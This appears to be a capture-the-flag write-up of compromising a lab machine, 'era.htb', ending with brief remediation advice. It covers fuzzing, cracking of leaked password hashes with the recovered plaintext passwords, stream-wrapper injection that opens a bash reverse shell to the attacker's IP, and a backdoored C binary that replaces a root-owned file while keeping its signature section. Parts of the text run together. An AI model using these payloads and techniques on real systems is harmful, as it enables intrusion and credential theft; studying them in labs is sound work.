ID `54` returned a different response and revealed `site-backup-30-08-24.zip`.
era.htbInitial browse of http://era.htb returned nothing useful.
VHost fuzzing via Host header:
wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://era.htb/" -H "Host: FUZZ.era.htb" --hw 10
Discovered file.era.htb and added to hosts:
echo "10.10.11.79 file.era.htb" | sudo tee -a /etc/hosts
Directory brute force on the file service:
feroxbuster -u http://file.era.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e
http://file.era.htb/register.phpupload.phpdownload.phpGenerated a numeric list and fuzzed IDs:
seq 0 100 > id.txt
ffuf -u http://file.era.htb/download.php?id=FUZZ -w id.txt -mc 200 -H "Cookie: PHPSESSID=<session>"
ID 54 returned a different response and revealed site-backup-30-08-24.zip.
Opened the SQLite DB from the backup:
sqlite3 filedb.sqlite
.tables
SELECT user_name, user_password FROM users;
Extracted hashes and cracked with Hashcat:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Recovered Credentials:
eric / americayuri / mustangLogged in as yuri and updated security questions with the admin user admin_ef01cab31aa:
http://file.era.htb/login.phphttp://file.era.htb/reset.phpThen used security login:
http://file.era.htb/security_login.phpThe download.php endpoint used format= in a fopen() call, enabling PHP stream wrappers.
SSRF and command execution were possible with ssh2.exec://:
http://file.era.htb/download.php?id=4817&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.xx.xx%2F4444%200%3E%261;true%27
Started a listener:
pwncat-cs -p 4444
Result: Reverse shell as eric and access to /home/eric/user.txt.
User flag was read as eric:
cat /home/eric/user.txt
Ran linpeas after hosting it:
python3 -m http.server
wget http//10.10.1x.xx/linpeas.sh -O linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
Found a root-owned binary writable by the devs group:
/opt/AV/periodic-checks/monitoreric is in devsCreated a C reverse shell payload:
printf '#include <stdlib.h>\nint main() {\n system("/bin/bash -c '\''bash -i >& /dev/tcp/10.10.xx.xx/4444 0>&1'\''");\n return 0;\n}\n' > backdoor.c
Compiled and preserved the .text_sig section:
gcc -static -o monitor_backdoor backdoor.c
readelf -S /opt/AV/periodic-checks/monitor
objcopy --dump-section .text_sig=sig /opt/AV/periodic-checks/monitor
objcopy --add-section .text_sig=sig monitor_backdoor
Replaced the original binary:
cp monitor_backdoor /opt/AV/periodic-checks/monitor
Started the listener again:
pwncat-cs -p 4444
Result: Root reverse shell and root flag at /root/root.txt.
.text_sig can bypass basic integrity checks.User Flag: /home/eric/user.txt (value not recorded in PDF)
Root Flag: /root/root.txt (value not recorded in PDF)
Fix SSRF and Stream Wrapper Injection
format= is concatenated into fopen() and accepts PHP stream wrappers.ssh2.exec://, and local file access.Remove Sensitive Backups from Web Access
site-backup-30-08-24.zip accessible via predictable ID.Harden Credentials and Password Storage
Lock Down Security Question Reset Flows
Eliminate Group-Writable Root Binaries
/opt/AV/periodic-checks/monitor was root-owned but writable by devs.Restrict Internal SSH Access